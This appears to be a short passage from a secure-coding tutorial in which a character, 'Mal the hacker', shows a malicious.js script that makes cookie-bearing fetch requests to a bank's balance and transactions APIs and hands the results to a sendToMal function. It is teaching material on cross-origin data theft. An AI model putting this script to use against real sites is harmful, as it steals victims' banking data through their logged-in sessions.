Want everyone on your software team to learn this? Free 14-day trial.

Train my team
Mal the hacker
malicious.js
HTML
<script type="module">
  // ๐Ÿ’€ Try to grab secure details from other sites! ๐Ÿ’€
  const balance = await fetch('https://securebank.com/api/balance', {
    credentials: 'include', // Include cookies
  });
  sendToMal(await balance.json());

  const transactions = await fetch('https://securebank.com/api/transactions', {
    credentials: 'include', // Include cookies
  });
  sendToMal(await transactions.json());
</script>